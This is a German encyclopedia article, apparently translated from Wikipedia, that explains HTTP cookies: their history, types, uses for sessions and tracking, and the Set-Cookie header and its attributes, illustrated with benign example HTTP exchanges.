HTTP-Cookie

HTTP-Cookies (auch Web-Cookies, Internet-Cookies, Browser-Cookies oder einfach Cookies genannt) sind kleine Datenblöcke, die von einem Webserver erstellt werden, während ein Benutzer auf einer Website surft, und die vom Webbrowser des Benutzers auf dessen Computer oder einem anderen Gerät gespeichert werden. Cookies werden auf dem Gerät platziert, das für den Zugriff auf eine Website verwendet wird, und während einer Sitzung kann mehr als ein Cookie auf dem Gerät eines Nutzers platziert werden. ⓘ

Cookies erfüllen im Internet nützliche und manchmal sogar wichtige Funktionen. Sie ermöglichen es Webservern, Zustandsinformationen (z. B. Artikel, die in einem Online-Shop in den Warenkorb gelegt wurden) auf dem Gerät des Nutzers zu speichern oder die Surfaktivitäten des Nutzers zu verfolgen (z. B. das Anklicken bestimmter Schaltflächen, das Einloggen oder die Aufzeichnung, welche Seiten in der Vergangenheit besucht wurden). Sie können auch verwendet werden, um Informationen, die der Benutzer zuvor in Formularfelder eingegeben hat, für eine spätere Verwendung zu speichern, z. B. Namen, Adressen, Kennwörter und Zahlungskartennummern. ⓘ

Authentifizierungs-Cookies werden üblicherweise von Webservern verwendet, um zu überprüfen, ob ein Benutzer angemeldet ist und mit welchem Konto er angemeldet ist. Ohne das Cookie müssten sich die Benutzer auf jeder Seite mit sensiblen Informationen, auf die sie zugreifen möchten, durch eine Anmeldung authentifizieren. Die Sicherheit eines Authentifizierungs-Cookies hängt im Allgemeinen von der Sicherheit der ausstellenden Website und des Webbrowsers des Nutzers ab und davon, ob die Cookie-Daten verschlüsselt sind. Sicherheitslücken können es einem Angreifer ermöglichen, die Daten eines Cookies zu lesen, auf Benutzerdaten zuzugreifen oder sich (mit den Anmeldeinformationen des Benutzers) Zugang zu der Website zu verschaffen, zu der das Cookie gehört (siehe Beispiele für Cross-Site Scripting und Cross-Site Request Forgery). ⓘ

Tracking-Cookies, insbesondere Tracking-Cookies von Drittanbietern, werden häufig verwendet, um langfristige Aufzeichnungen über den Browserverlauf von Personen zu erstellen - ein potenzielles Datenschutzproblem, das die Gesetzgeber in Europa und den USA 2011 zum Handeln veranlasste. Das europäische Recht schreibt vor, dass alle Websites, die auf die Mitgliedstaaten der Europäischen Union abzielen, die "informierte Zustimmung" der Nutzer einholen müssen, bevor sie nicht unbedingt notwendige Cookies auf ihrem Gerät speichern. ⓘ

Hintergrund

HTTP-Cookies teilen ihren Namen mit einer beliebten Süßigkeit. ⓘ

Ursprung des Namens

Der Begriff "Cookie" wurde von dem Webbrowser-Programmierer Lou Montulli geprägt. Er wurde von dem Begriff "magic cookie" abgeleitet, der ein Datenpaket bezeichnet, das ein Programm empfängt und unverändert zurücksendet und von Unix-Programmierern verwendet wird. Der Begriff "magic cookie" selbst leitet sich vom Glückskeks ab, einem Keks mit einer eingebetteten Botschaft. ⓘ

Geschichte

Magic Cookies wurden bereits in der Informatik verwendet, als der Computerprogrammierer Lou Montulli im Juni 1994 die Idee hatte, sie in der Webkommunikation zu verwenden. Zu dieser Zeit war er Angestellter von Netscape Communications, das eine E-Commerce-Anwendung für MCI entwickelte. Vint Cerf und John Klensin vertraten MCI in technischen Diskussionen mit Netscape Communications. MCI wollte nicht, dass seine Server einen Teil des Transaktionsstatus aufbewahren mussten, weshalb sie Netscape baten, einen Weg zu finden, diesen Status stattdessen auf dem Computer jedes Benutzers zu speichern. Cookies boten eine Lösung für das Problem der zuverlässigen Implementierung eines virtuellen Einkaufswagens. ⓘ

Zusammen mit John Giannandrea schrieb Montulli noch im selben Jahr die erste Netscape-Cookie-Spezifikation. Die Version 0.9beta von Mosaic Netscape, die am 13. Oktober 1994 veröffentlicht wurde, unterstützte Cookies. Die erste Verwendung von Cookies (außerhalb des Labors) bestand darin, zu überprüfen, ob Besucher der Netscape-Website die Website bereits besucht hatten. Montulli meldete 1995 ein Patent für die Cookie-Technologie an, das 1998 erteilt wurde. Die Unterstützung für Cookies wurde in den Internet Explorer in der Version 2 integriert, die im Oktober 1995 veröffentlicht wurde. ⓘ

Die Einführung von Cookies war zu diesem Zeitpunkt in der Öffentlichkeit nicht sehr bekannt. Insbesondere wurden Cookies standardmäßig akzeptiert, und die Benutzer wurden nicht über ihr Vorhandensein informiert. Die Öffentlichkeit erfuhr erst von Cookies, als die Financial Times am 12. Februar 1996 einen Artikel darüber veröffentlichte. Im selben Jahr erhielten Cookies viel Aufmerksamkeit in den Medien, insbesondere wegen der möglichen Auswirkungen auf die Privatsphäre. Cookies wurden in zwei Anhörungen der U.S. Federal Trade Commission in den Jahren 1996 und 1997 diskutiert. ⓘ

Die Entwicklung der offiziellen Cookie-Spezifikationen war bereits im Gange. Insbesondere begannen die ersten Diskussionen über eine formale Spezifikation im April 1995 auf der Mailingliste www-talk. Es wurde eine spezielle Arbeitsgruppe innerhalb der Internet Engineering Task Force (IETF) gebildet. Zwei alternative Vorschläge zur Einführung von Zuständen in HTTP-Transaktionen waren von Brian Behlendorf bzw. David Kristol unterbreitet worden. Die Gruppe, die von Kristol selbst und Lou Montulli geleitet wurde, beschloss jedoch bald, die Netscape-Spezifikation als Ausgangspunkt zu verwenden. Im Februar 1996 stellte die Arbeitsgruppe fest, dass Cookies von Drittanbietern eine erhebliche Gefahr für die Privatsphäre darstellen. Die von der Gruppe erstellte Spezifikation wurde schließlich als RFC 2109 im Februar 1997 veröffentlicht. Darin wird festgelegt, dass Cookies von Drittanbietern entweder überhaupt nicht erlaubt oder zumindest nicht standardmäßig aktiviert sind. ⓘ

Zu diesem Zeitpunkt verwendeten Werbefirmen bereits Cookies von Drittanbietern. Die Empfehlung zu Cookies von Drittanbietern in RFC 2109 wurde von Netscape und Internet Explorer nicht befolgt. RFC 2109 wurde im Oktober 2000 durch RFC 2965 abgelöst. ⓘ

RFC 2965 fügte ein Set-Cookie2-Header-Feld hinzu, das informell als "RFC 2965-style cookies" bezeichnet wurde, im Gegensatz zum ursprünglichen Set-Cookie-Header-Feld, das "Netscape-style cookies" genannt wurde. Set-Cookie2 wurde jedoch nur selten verwendet und im RFC 6265 vom April 2011, der als endgültige Spezifikation für Cookies, wie sie in der realen Welt verwendet werden, geschrieben wurde, abgelehnt. Kein moderner Browser erkennt das Set-Cookie2-Header-Feld. ⓘ

Terminologie

Sitzungscookie

Ein Sitzungscookie (auch bekannt als In-Memory-Cookie, transienter Cookie oder nicht-persistenter Cookie) existiert nur im temporären Speicher, während der Benutzer auf einer Website navigiert. Sitzungscookies laufen ab oder werden gelöscht, wenn der Benutzer den Webbrowser schließt. Sitzungscookies werden vom Browser daran erkannt, dass ihnen kein Ablaufdatum zugewiesen ist. ⓘ

Dauerhafter Cookie

Ein dauerhafter Cookie läuft zu einem bestimmten Datum oder nach einer bestimmten Zeitspanne ab. Während der von seinem Ersteller festgelegten Lebensdauer des dauerhaften Cookies werden seine Informationen jedes Mal an den Server übertragen, wenn der Benutzer die Website besucht, zu der es gehört, oder jedes Mal, wenn der Benutzer eine zu dieser Website gehörende Ressource von einer anderen Website aus aufruft (z. B. eine Werbung). ⓘ

Aus diesem Grund werden dauerhafte Cookies manchmal auch als Tracking-Cookies bezeichnet, da sie von Werbetreibenden verwendet werden können, um Informationen über die Surfgewohnheiten eines Nutzers über einen längeren Zeitraum aufzuzeichnen. Sie werden jedoch auch aus "legitimen" Gründen verwendet (z. B. um zu verhindern, dass Benutzer bei ihren Konten auf Websites angemeldet bleiben und ihre Anmeldedaten bei jedem Besuch erneut eingeben müssen). ⓘ

Sicheres Cookie

Ein sicheres Cookie kann nur über eine verschlüsselte Verbindung (d.h. HTTPS) übertragen werden. Sie können nicht über unverschlüsselte Verbindungen (z. B. HTTP) übertragen werden. Dies macht es unwahrscheinlicher, dass das Cookie durch Abhören gestohlen werden kann. Ein Cookie wird sicher gemacht, indem das Secure-Flag zum Cookie hinzugefügt wird. ⓘ

Http-only-Cookie

Auf ein http-only-Cookie kann von clientseitigen APIs wie JavaScript nicht zugegriffen werden. Durch diese Einschränkung wird die Gefahr des Cookie-Diebstahls durch Cross-Site-Scripting (XSS) beseitigt. Das Cookie bleibt jedoch anfällig für Cross-Site-Tracing (XST) und Cross-Site-Request-Forgery (CSRF)-Angriffe. Einem Cookie wird diese Eigenschaft verliehen, indem das HttpOnly-Flag zum Cookie hinzugefügt wird. ⓘ

Same-Site-Cookie

Im Jahr 2016 führte Google Chrome Version 51 eine neue Art von Cookie mit dem Attribut SameSite ein. Das Attribut SameSite kann einen Wert von Strict, Lax oder None haben. Mit dem Attribut SameSite=Strict senden die Browser Cookies nur an eine Zieldomäne, die mit der Ursprungsdomäne identisch ist. Dies würde Cross-Site-Request-Forgery (CSRF)-Angriffe wirksam eindämmen. Mit SameSite=Lax würden die Browser Cookies bei Anfragen an eine Zieldomäne senden, auch wenn diese von der Ursprungsdomäne abweicht, jedoch nur bei sicheren Anfragen wie GET (POST ist unsicher) und nicht bei Cookies von Drittanbietern (innerhalb von iframe). Das Attribut SameSite=None würde Cookies von Drittanbietern (seitenübergreifend) zulassen, die meisten Browser verlangen jedoch ein sicheres Attribut für SameSite=None-Cookies. ⓘ

Das Same-Site-Cookie wird in einen neuen RFC-Entwurf für "Cookies: HTTP State Management Mechanism" aufgenommen, um RFC 6265 zu aktualisieren (falls er angenommen wird). ⓘ

Chrome, Firefox und Microsoft Edge haben alle mit der Unterstützung von Same-Site-Cookies begonnen. Der Schlüssel der Einführung ist die Behandlung bestehender Cookies ohne das Attribut SameSite. Chrome hat diese bestehenden Cookies so behandelt, als ob SameSite=None wäre, wodurch alle Websites/Anwendungen wie bisher laufen würden. Google beabsichtigt, diese Voreinstellung im Februar 2020 auf SameSite=Lax zu ändern. Diese Änderung würde jene Anwendungen/Websites zerstören, die auf Cookies von Drittanbietern/Site-übergreifende Cookies angewiesen sind, aber kein SameSite-Attribut definiert haben. Angesichts der umfangreichen Änderungen für Webentwickler und der COVID-19-Umstände hat Google die Änderung des SameSite-Cookies vorübergehend zurückgenommen. ⓘ

Drittanbieter-Cookie

Normalerweise stimmt das Domain-Attribut eines Cookies mit der Domain überein, die in der Adressleiste des Webbrowsers angezeigt wird. Dies wird als Erstanbieter-Cookie bezeichnet. Ein Third-Party-Cookie hingegen gehört zu einer anderen Domäne als der, die in der Adressleiste angezeigt wird. Diese Art von Cookie taucht in der Regel auf, wenn Webseiten Inhalte von externen Websites enthalten, wie z. B. Werbebanner. Dies eröffnet die Möglichkeit, den Browserverlauf des Nutzers zu verfolgen, und wird häufig von Werbetreibenden verwendet, um jedem Nutzer relevante Werbung zu zeigen. ⓘ

Ein Beispiel: Ein Benutzer besucht www.example.org. Diese Website enthält eine Werbung von ad.foxytracking.com, die beim Herunterladen ein Cookie setzt, das zur Domäne der Werbung (ad.foxytracking.com) gehört. Anschließend besucht der Nutzer eine andere Website, www.foo.com, die ebenfalls eine Werbung von ad.foxytracking.com enthält und ein Cookie setzt, das zu dieser Domäne gehört (ad.foxytracking.com). Schließlich werden diese beiden Cookies an den Werbetreibenden gesendet, wenn er seine Werbung lädt oder seine Website besucht. Der Werbetreibende kann diese Cookies dann verwenden, um mithilfe des HTTP-Referer-Header-Feldes einen Browserverlauf des Nutzers auf allen Websites zu erstellen, die Anzeigen dieses Werbetreibenden enthalten. ⓘ

Im Jahr 2014 setzten einige Websites Cookies, die für über 100 Drittanbieter-Domains lesbar waren. Im Durchschnitt setzte eine einzelne Website 10 Cookies, wobei die maximale Anzahl von Cookies (Erst- und Drittanbieter) über 800 betrug. ⓘ

Die meisten modernen Webbrowser enthalten Datenschutzeinstellungen, mit denen Cookies von Drittanbietern blockiert werden können, und einige blockieren jetzt standardmäßig alle Cookies von Drittanbietern - ab Juli 2020 gehören zu diesen Browsern Apple Safari, Firefox und Brave. Safari erlaubt es eingebetteten Websites, die Storage Access API zu verwenden, um die Erlaubnis zum Setzen von Cookies von Erstanbietern anzufordern. Im Mai 2020 führte Google Chrome neue Funktionen ein, um Cookies von Drittanbietern standardmäßig in seinem Inkognito-Modus für privates Surfen zu blockieren, wobei das Blockieren während des normalen Surfens optional ist. Mit demselben Update wurde auch eine Option zum Blockieren von Erstanbieter-Cookies hinzugefügt. Chrome plant, ab 2023 Cookies von Drittanbietern standardmäßig zu blockieren. ⓘ

Supercookie

Ein Supercookie ist ein Cookie mit dem Ursprung einer Top-Level-Domain (wie .com) oder einer öffentlichen Endung (wie .co.uk). Gewöhnliche Cookies haben dagegen den Ursprung eines bestimmten Domänennamens, z. B. example.com. ⓘ

Supercookies können ein potenzielles Sicherheitsproblem darstellen und werden daher häufig von Webbrowsern blockiert. Wenn die Blockierung durch den Browser aufgehoben wird, könnte ein Angreifer, der eine bösartige Website kontrolliert, ein Supercookie setzen und möglicherweise legitime Benutzeranfragen an eine andere Website, die dieselbe Top-Level-Domain oder öffentliche Endung wie die bösartige Website hat, stören oder sich als solche ausgeben. Beispielsweise könnte ein Supercookie mit dem Ursprung .com eine Anfrage an example.com böswillig beeinflussen, auch wenn das Cookie nicht von example.com stammt. Dies kann dazu verwendet werden, Anmeldungen zu fälschen oder Benutzerinformationen zu ändern. ⓘ

Die Public Suffix List trägt dazu bei, das von Supercookies ausgehende Risiko zu mindern. Die Public Suffix List ist eine herstellerübergreifende Initiative, die darauf abzielt, eine genaue und aktuelle Liste von Domänennamen-Suffixen bereitzustellen. Ältere Versionen von Browsern verfügen möglicherweise nicht über eine aktuelle Liste und sind daher anfällig für Supercookies von bestimmten Domänen. ⓘ

Andere Verwendungen

Der Begriff "Supercookie" wird manchmal für Verfolgungstechnologien verwendet, die nicht auf HTTP-Cookies beruhen. Zwei solcher "Supercookie"-Mechanismen wurden im August 2011 auf Microsoft-Websites entdeckt: die Cookie-Synchronisierung, die MUID-Cookies (Machine Unique Identifier) wieder aufleben ließ, und ETag-Cookies. Aufgrund des Medieninteresses deaktivierte Microsoft diesen Code später. In einem Blog-Beitrag aus dem Jahr 2021 verwendete Mozilla den Begriff "Supercookie" für die Verwendung des Browser-Caches als Mittel zur Nachverfolgung von Nutzern auf verschiedenen Websites. ⓘ

Zombie-Cookie

Bei einem Zombie-Cookie handelt es sich um Daten und Code, die von einem Webserver auf dem Computer oder einem anderen Gerät eines Besuchers an einem versteckten Ort außerhalb des speziellen Cookie-Speicherplatzes des Webbrowsers des Besuchers abgelegt wurden und die automatisch ein HTTP-Cookie als reguläres Cookie neu erstellen, nachdem das ursprüngliche Cookie gelöscht wurde. Der Zombie-Cookie kann an mehreren Orten gespeichert werden, z. B. im Flash Local Shared Object, im HTML5-Webspeicher und an anderen clientseitigen und sogar serverseitigen Orten, und wenn die Abwesenheit des Cookies festgestellt wird, wird der Cookie anhand der an diesen Orten gespeicherten Daten neu erstellt. ⓘ

Cookie-Wand

Eine Cookie-Wand wird auf einer Website eingeblendet und informiert den Benutzer über die Verwendung von Cookies auf der Website. Sie hat keine Ablehnungsoption, und die Website ist ohne Tracking-Cookies nicht zugänglich. ⓘ

Aufbau

Ein Cookie besteht aus den folgenden Komponenten:

1. Name
2. Wert
3. Null oder mehr Attribute (Name/Wert-Paare). In den Attributen werden Informationen wie die Gültigkeitsdauer des Cookies, die Domäne und Flags (wie Secure und HttpOnly) gespeichert. ⓘ

Verwendet

Sitzungsverwaltung

Ursprünglich wurden Cookies eingeführt, um Nutzern die Möglichkeit zu geben, Artikel zu speichern, die sie kaufen möchten, während sie auf einer Website navigieren (ein virtueller "Einkaufswagen" oder "Einkaufskorb"). Heutzutage wird der Inhalt des Warenkorbs eines Benutzers jedoch in der Regel in einer Datenbank auf dem Server und nicht in einem Cookie auf dem Client gespeichert. Um nachzuvollziehen, welcher Benutzer welchem Einkaufswagen zugeordnet ist, sendet der Server ein Cookie an den Client, das eine eindeutige Sitzungskennung enthält (in der Regel eine lange Kette zufälliger Buchstaben und Zahlen). Da Cookies bei jeder Anfrage des Clients an den Server gesendet werden, wird diese Sitzungskennung jedes Mal, wenn der Benutzer eine neue Seite auf der Website besucht, an den Server zurückgesendet, wodurch der Server weiß, welcher Einkaufswagen dem Benutzer angezeigt werden soll. ⓘ

Eine weitere beliebte Verwendung von Cookies ist die Anmeldung bei Websites. Wenn der Benutzer die Anmeldeseite einer Website aufruft, sendet der Webserver dem Client in der Regel ein Cookie mit einer eindeutigen Sitzungskennung. Wenn sich der Benutzer erfolgreich anmeldet, merkt sich der Server, dass dieser bestimmte Sitzungsbezeichner authentifiziert wurde und gewährt dem Benutzer Zugang zu seinen Diensten. ⓘ

Da Sitzungscookies nur eine eindeutige Sitzungskennung enthalten, ist die Menge an persönlichen Informationen, die eine Website über jeden Benutzer speichern kann, praktisch unbegrenzt - die Website unterliegt keinen Beschränkungen hinsichtlich der Größe eines Cookies. Sitzungscookies tragen auch dazu bei, die Ladezeiten von Seiten zu verbessern, da die Menge der Informationen in einem Sitzungscookie gering ist und nur wenig Bandbreite benötigt. ⓘ

Personalisierung

Cookies können verwendet werden, um sich Informationen über den Benutzer zu merken, damit diesem im Laufe der Zeit relevante Inhalte angezeigt werden können. Ein Webserver kann beispielsweise ein Cookie mit dem Benutzernamen senden, der zuletzt für die Anmeldung auf einer Website verwendet wurde, damit dieser bei der nächsten Anmeldung automatisch ausgefüllt werden kann. ⓘ

Viele Websites verwenden Cookies für die Personalisierung auf der Grundlage der Präferenzen des Benutzers. Der Benutzer wählt seine Präferenzen aus, indem er sie in ein Webformular eingibt und das Formular an den Server sendet. Der Server kodiert die Präferenzen in einem Cookie und sendet das Cookie zurück an den Browser. Auf diese Weise kann der Server jedes Mal, wenn der Benutzer eine Seite auf der Website aufruft, die Seite entsprechend den Präferenzen des Benutzers personalisieren. Die Suchmaschine Google beispielsweise hat früher Cookies verwendet, damit die Nutzer (auch nicht registrierte) entscheiden konnten, wie viele Suchergebnisse sie pro Seite sehen wollten. Auch DuckDuckGo verwendet Cookies, um den Nutzern die Möglichkeit zu geben, die Anzeigeeinstellungen wie z. B. die Farben der Webseite festzulegen. ⓘ

Nachverfolgung

Tracking-Cookies werden verwendet, um die Surfgewohnheiten der Nutzer zu verfolgen. Dies kann bis zu einem gewissen Grad auch über die IP-Adresse des Computers, der die Seite anfordert, oder über das Referer-Feld des HTTP-Request-Headers erfolgen, aber Cookies ermöglichen eine größere Präzision. Dies lässt sich wie folgt veranschaulichen:

1. Wenn der Benutzer eine Seite der Website anfordert, die Anforderung aber kein Cookie enthält, geht der Server davon aus, dass dies die erste vom Benutzer besuchte Seite ist. Daher erstellt der Server eine eindeutige Kennung (in der Regel eine Kette aus zufälligen Buchstaben und Zahlen) und sendet sie als Cookie zusammen mit der angeforderten Seite an den Browser zurück.
2. Von diesem Zeitpunkt an wird das Cookie automatisch vom Browser an den Server gesendet, wenn eine neue Seite der Website angefordert wird. Der Server sendet nicht nur die Seite wie gewohnt, sondern speichert auch die URL der angeforderten Seite, das Datum/die Uhrzeit der Anforderung und das Cookie in einer Protokolldatei. ⓘ

Durch die Analyse dieser Protokolldatei ist es dann möglich, herauszufinden, welche Seiten der Benutzer in welcher Reihenfolge und wie lange er sie besucht hat. ⓘ

Unternehmen nutzen die Webgewohnheiten der Nutzer aus, indem sie Cookies verfolgen, um Informationen über das Kaufverhalten zu sammeln. Das Wall Street Journal fand heraus, dass die fünfzig größten amerikanischen Websites im Durchschnitt vierundsechzig Tracking-Technologien auf ihren Computern installiert haben, was zu insgesamt 3.180 Tracking-Dateien führt. Die Daten können dann gesammelt und an Bieterunternehmen verkauft werden. ⓘ

Umsetzung

Eine mögliche Interaktion zwischen einem Webbrowser und einem Webserver mit einer Webseite, bei der der Server ein Cookie an den Browser sendet und der Browser es zurücksendet, wenn er eine andere Seite anfordert. ⓘ

Cookies sind beliebige Daten, die in der Regel vom Webserver ausgewählt und zuerst gesendet und vom Webbrowser auf dem Client-Computer gespeichert werden. Der Browser sendet sie dann bei jeder Anfrage an den Server zurück, wodurch Zustände (Erinnerungen an frühere Ereignisse) in ansonsten zustandslose HTTP-Transaktionen eingeführt werden. Ohne Cookies wäre jeder Abruf einer Webseite oder einer Komponente einer Webseite ein isoliertes Ereignis, das mit allen anderen Seitenaufrufen des Benutzers auf der Website nichts zu tun hätte. Obwohl Cookies in der Regel vom Webserver gesetzt werden, können sie auch vom Client mit einer Skriptsprache wie JavaScript gesetzt werden (es sei denn, das HttpOnly-Flag des Cookies ist gesetzt, in diesem Fall kann das Cookie nicht von Skriptsprachen geändert werden). ⓘ

Die Cookie-Spezifikationen verlangen, dass Browser die folgenden Anforderungen erfüllen, um Cookies zu unterstützen:

• Unterstützung von Cookies mit einer Größe von bis zu 4.096 Byte.
• Unterstützung von mindestens 50 Cookies pro Domain (d. h. pro Website).
• Unterstützt mindestens 3.000 Cookies insgesamt. ⓘ

Setzen eines Cookies

Cookies werden über das Header-Feld Set-Cookie gesetzt, das in einer HTTP-Antwort vom Webserver gesendet wird. Dieses Header-Feld weist den Webbrowser an, das Cookie zu speichern und es bei künftigen Anfragen an den Server zurückzusenden (der Browser ignoriert dieses Header-Feld, wenn er keine Cookies unterstützt oder Cookies deaktiviert hat). ⓘ

Ein Beispiel: Der Browser sendet seine erste HTTP-Anfrage an die Homepage der Website www.example.org:

GET /index.html HTTP/1.1
Host: www.example.org
... <span title="Aus: Englische Wikipedia, Abschnitt &quot;Setting a cookie&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Setting_a_cookie <span style="color:#dddddd">ⓘ</span>]</span>

Der Server antwortet mit zwei Set-Cookie-Header-Feldern:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
... <span title="Aus: Englische Wikipedia, Abschnitt &quot;Setting a cookie&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Setting_a_cookie <span style="color:#dddddd">ⓘ</span>]</span>

Die HTTP-Antwort des Servers enthält den Inhalt der Homepage der Website. Sie weist den Browser aber auch an, zwei Cookies zu setzen. Das erste, "theme", wird als Sitzungscookie betrachtet, da es weder ein Expires- noch ein Max-Age-Attribut hat. Sitzungscookies sollen vom Browser gelöscht werden, wenn er geschlossen wird. Der zweite, "sessionToken", wird als dauerhafter Cookie betrachtet, da er ein Expires-Attribut enthält, das den Browser anweist, den Cookie zu einem bestimmten Datum und einer bestimmten Uhrzeit zu löschen. ⓘ

Als nächstes sendet der Browser eine weitere Anfrage, um die Seite spec.html auf der Website zu besuchen. Diese Anfrage enthält ein Cookie-Header-Feld, das die beiden Cookies enthält, die der Server dem Browser aufgetragen hat zu setzen:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
… <span title="Aus: Englische Wikipedia, Abschnitt &quot;Setting a cookie&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Setting_a_cookie <span style="color:#dddddd">ⓘ</span>]</span>

Auf diese Weise weiß der Server, dass diese HTTP-Anfrage mit der vorherigen zusammenhängt. Der Server antwortet, indem er die angeforderte Seite sendet und möglicherweise weitere Set-Cookie-Header-Felder in die HTTP-Antwort aufnimmt, um den Browser anzuweisen, neue Cookies hinzuzufügen, bestehende Cookies zu ändern oder zu entfernen. Um ein Cookie zu entfernen, muss der Server ein Set-Cookie-Header-Feld mit einem Verfallsdatum in der Vergangenheit einfügen. ⓘ

Der Wert eines Cookies kann aus allen druckbaren ASCII-Zeichen (! bis ~, Unicode \u0021 bis \u007E) bestehen, ausgenommen ,und; und Leerzeichen. Der Name eines Cookies schließt die gleichen Zeichen aus, ebenso wie =, da dies das Trennzeichen zwischen Name und Wert ist. Der Cookie-Standard RFC 2965 ist restriktiver, wird aber von den Browsern nicht umgesetzt. ⓘ

Der Begriff "Cookie Crumb" wird manchmal verwendet, um sich auf das Paar aus Name und Wert eines Cookies zu beziehen. ⓘ

Cookies können auch von Skriptsprachen wie JavaScript gesetzt werden, die innerhalb des Browsers ausgeführt werden. In JavaScript wird zu diesem Zweck das Objekt document.cookie verwendet. Zum Beispiel erzeugt die Anweisung document.cookie = "temperature=20" ein Cookie mit dem Namen "temperature" und dem Wert "20". ⓘ

Cookie-Attribute

Neben einem Namen und einem Wert können Cookies auch ein oder mehrere Attribute haben. Browser nehmen keine Cookie-Attribute in die Anfragen an den Server auf - sie senden nur den Namen und den Wert des Cookies. Cookie-Attribute werden von Browsern verwendet, um zu bestimmen, wann ein Cookie gelöscht oder blockiert werden soll oder ob ein Cookie an den Server gesendet werden soll. ⓘ

Domäne und Pfad

Die Attribute Domain und Path definieren den Geltungsbereich des Cookies. Sie teilen dem Browser im Wesentlichen mit, zu welcher Website das Cookie gehört. Aus Sicherheitsgründen können Cookies nur für die Top-Domain der aktuellen Ressource und deren Subdomains gesetzt werden, nicht aber für eine andere Domain und deren Subdomains. Zum Beispiel kann die Website example.org kein Cookie mit der Domäne foo.com setzen, da dies der Website example.org erlauben würde, die Cookies der Domäne foo.com zu kontrollieren. ⓘ

Wenn die Attribute Domäne und Pfad eines Cookies vom Server nicht angegeben werden, werden sie standardmäßig auf die Domäne und den Pfad der angeforderten Ressource gesetzt. In den meisten Browsern gibt es jedoch einen Unterschied zwischen einem Cookie, das von foo.com ohne Domäne gesetzt wird, und einem Cookie, das die Domäne foo.com enthält. Im ersten Fall wird das Cookie nur für Anfragen an foo.com gesendet, was auch als reines Host-Cookie bezeichnet wird. Im letzteren Fall werden auch alle Subdomänen einbezogen (z. B. docs.foo.com). Eine bemerkenswerte Ausnahme von dieser allgemeinen Regel sind Edge vor Windows 10 RS3 und Internet Explorer vor IE 11 und Windows 10 RS4 (April 2018), die Cookies immer an Subdomänen senden, unabhängig davon, ob das Cookie mit oder ohne Domäne gesetzt wurde. ⓘ

Nachfolgend finden Sie ein Beispiel für einige Set-Cookie-Header-Felder in der HTTP-Antwort einer Website, nachdem sich ein Benutzer angemeldet hat. Die HTTP-Anfrage wurde an eine Webseite innerhalb der Subdomäne docs.foo.com gesendet:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
… <span title="Aus: Englische Wikipedia, Abschnitt &quot;Domain and Path&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Domain_and_Path <span style="color:#dddddd">ⓘ</span>]</span>

Das erste Cookie, LSID, hat kein Domain-Attribut, sondern ein Path-Attribut, das auf /accounts gesetzt ist. Dies weist den Browser an, das Cookie nur zu verwenden, wenn er Seiten anfordert, die in docs.foo.com/accounts enthalten sind (die Domäne ist von der Anfragedomäne abgeleitet). Die beiden anderen Cookies, HSID und SSID, werden verwendet, wenn der Browser eine beliebige Unterdomäne von .foo.com unter einem beliebigen Pfad anfordert (z. B. www.foo.com/bar). Der vorangestellte Punkt ist in neueren Standards optional, kann aber aus Gründen der Kompatibilität mit RFC 2109-basierten Implementierungen hinzugefügt werden. ⓘ

Expires und Max-Age

Das Expires-Attribut legt ein bestimmtes Datum und eine bestimmte Uhrzeit fest, zu der der Browser das Cookie löschen soll. Das Datum und die Uhrzeit werden in der Form Wdy, DD Mon YYYY HH:MM:SS GMT oder in der Form Wdy, DD Mon YY HH:MM:SS GMT für Werte von YY angegeben, wobei YY größer oder gleich 0 und kleiner oder gleich 69 ist. ⓘ

Alternativ kann das Attribut Max-Age verwendet werden, um den Ablauf des Cookies als ein Intervall von Sekunden in der Zukunft festzulegen, bezogen auf den Zeitpunkt, zu dem der Browser das Cookie erhalten hat. Nachfolgend ein Beispiel für drei Set-Cookie-Header-Felder, die von einer Website empfangen wurden, nachdem sich ein Benutzer angemeldet hatte:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly <span title="Aus: Englische Wikipedia, Abschnitt &quot;Expires and Max-Age&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Expires_and_Max-Age <span style="color:#dddddd">ⓘ</span>]</span>

Das erste Cookie, lu, läuft irgendwann am 15. Januar 2013 ab. Es wird vom Client-Browser bis zu diesem Zeitpunkt verwendet. Das zweite Cookie, made_write_conn, hat kein Ablaufdatum und ist somit ein Sitzungscookie. Er wird gelöscht, nachdem der Nutzer seinen Browser geschlossen hat. Der Wert des dritten Cookies, reg_fb_gate, wurde auf "deleted" geändert, mit einer Verfallszeit in der Vergangenheit. Der Browser löscht dieses Cookie sofort, da seine Verfallszeit in der Vergangenheit liegt. Beachten Sie, dass das Cookie nur gelöscht wird, wenn die Attribute Domäne und Pfad im Feld Set-Cookie mit den Werten übereinstimmen, die bei der Erstellung des Cookies verwendet wurden. ⓘ

Seit 2016 unterstützt Internet Explorer kein Max-Age mehr. ⓘ

Sicher und HttpOnly

Die Attribute "Sicher" und "HttpOnly" haben keine zugehörigen Werte. Vielmehr zeigt das Vorhandensein ihrer Attributnamen an, dass ihr Verhalten aktiviert sein sollte. ⓘ

